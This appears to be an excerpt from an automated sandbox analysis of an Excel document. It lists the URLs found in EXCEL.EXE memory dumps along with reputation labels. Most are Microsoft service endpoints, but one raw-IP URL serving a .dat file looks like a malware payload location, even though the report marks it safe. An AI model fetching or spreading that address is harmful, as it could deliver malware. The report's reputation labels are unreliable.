                      https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicyEXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                        		high
                        https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=FlickrMBI_SSL_SHORTssl.EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmpfalse
                          		high
                          https://api.aadrm.com/EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://clients.config.office.net/user/v1.0/android/policies5EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423637060.0000000016319000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmpfalse
                            		high
                            https://login.windEXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            https://outlook.office365.com/autodiscover/autodiscover.jsontEXCEL.EXE, 00000000.00000003.437233845.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500157918.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553288009.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424360003.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500009258.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421405813.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552058000.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696221387.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593583876.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552494065.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537158640.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537329045.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551704372.0000000013906000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678253988.0000000013906000.00000004.00000001.sdmpfalse
                              		high
                              https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPoliciesEXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                		high
                                https://api.microsoftstream.com/api/EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                  		high
                                  https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=ImmersiveEXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                    		high
                                    https://cr.office.comEXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                      		high
                                      https://res.getmicrosoftkey.com/api/redemptioneventsEXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://tasks.office.comEXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                        		high
                                        https://officeci.azurewebsites.net/api/EXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://store.office.cn/addinstemplateEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://login.windows.net/common/oauth2/authorize&EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmpfalse
                                          		high
                                          http://80.71.157.224/819077238125.datEXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeechEXCEL.EXE, EXCEL.EXE, 00000000.00000003.421300684.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550868754.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553525641.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499109089.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500897275.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594234179.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536575706.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678012317.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.554604116.00000000163A3000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.697006407.00000000163A3000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                            		high
                                            https://api.addins.omex.office.net/appEXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmpfalse
                                              		high
                                              https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonLLsEXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmpfalse
                                                		high
                                                https://www.odwebp.svc.msEXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                • URL Reputation: safe
                                                		unknown
                                                https://apc.learningtools.onenote.com/learningtoolsapi/v2.EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537421141.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537210186.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553019049.0000000013864000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551397263.000000001385B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.552313973.0000000013864000.00000004.00000001.sdmpfalse
                                                  		high
                                                  https://api.powerbi.com/v1.0/myorg/groupsEXCEL.EXE, 00000000.00000003.500849842.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499076826.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423421004.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678512366.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593838121.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594353981.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536518147.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550811363.000000001633B000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696914644.000000001633C000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                    		high
                                                    https://login.windows-ppe.net/common/oauth2/autEXCEL.EXE, 00000000.00000003.593608928.0000000013864000.00000004.00000001.sdmpfalse
                                                      		high
                                                      https://web.microsoftstream.com/video/EXCEL.EXE, 00000000.00000003.536814047.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593264274.0000000013752000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678663664.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500314408.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423823044.0000000013778000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695641338.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551049884.0000000013775000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593624370.0000000013770000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422394630.0000000013775000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                        		high
                                                        https://api.addins.store.officeppe.com/addinstemplateEXCEL.EXE, 00000000.00000003.678717765.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551305647.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593757845.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500459255.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695906973.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422549739.00000000137F4000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423733765.0000000013801000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536979101.00000000137F4000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                        • URL Reputation: safe
                                                        		unknown
                                                        https://login.windows.net/common/oauth2/authorizeADALClientIdExceld3590EXCEL.EXE, 00000000.00000003.499023954.00000000162F1000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500805327.00000000162F1000.00000004.00000001.sdmpfalse
                                                          		high
                                                          https://graph.windows.netEXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                            		high
                                                            https://api.onedrive.comcentEXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://res.getmicrosoftkey.com/api/redemptioneventsEi5EXCEL.EXE, 00000000.00000003.550935808.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536741428.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422728471.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594556214.00000000136F5000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695548526.00000000136F6000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.594146940.00000000136EE000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499495227.00000000136EE000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://outlook.office.com2BFEE2(EXCEL.EXE, 00000000.00000003.553699987.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551348753.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551801045.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537017318.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537189263.0000000013839000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.695983988.000000001383B000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		low
                                                            https://management.azure.comgEXCEL.EXE, 00000000.00000003.593569522.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537143977.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553235770.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551627090.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.501014387.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500138037.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.421391234.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678240560.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499315615.00000000138EF000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437208198.00000000138F7000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696200025.00000000138EF000.00000004.00000001.sdmpfalse
                                                            • Avira URL Cloud: safe
                                                            		unknown
                                                            https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.jsonEXCEL.EXE, 00000000.00000003.499962557.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500495154.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423789564.0000000013838000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.424320434.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500708465.0000000013848000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.437942259.0000000013848000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                              		high
                                                              https://ncus.contentsync.EXCEL.EXE, 00000000.00000003.500821599.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500207188.0000000013865000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.536478212.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.422085559.0000000013862000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.678173550.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.423217003.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593811472.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696894909.0000000016311000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.550766017.0000000016310000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.499048411.0000000016311000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                              • URL Reputation: safe
                                                              		unknown
                                                              https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/EXCEL.EXE, 00000000.00000003.422213664.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.537234270.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.551900570.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000002.696077720.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.553063045.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.593496729.0000000013881000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.277792999.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.278079684.000000001384E000.00000004.00000001.sdmp, EXCEL.EXE, 00000000.00000003.500232744.0000000013881000.00000004.00000001.sdmp, AC8CAF02-683E-48A7-A700-0718A72BFEE2.0.drfalse
                                                                		high
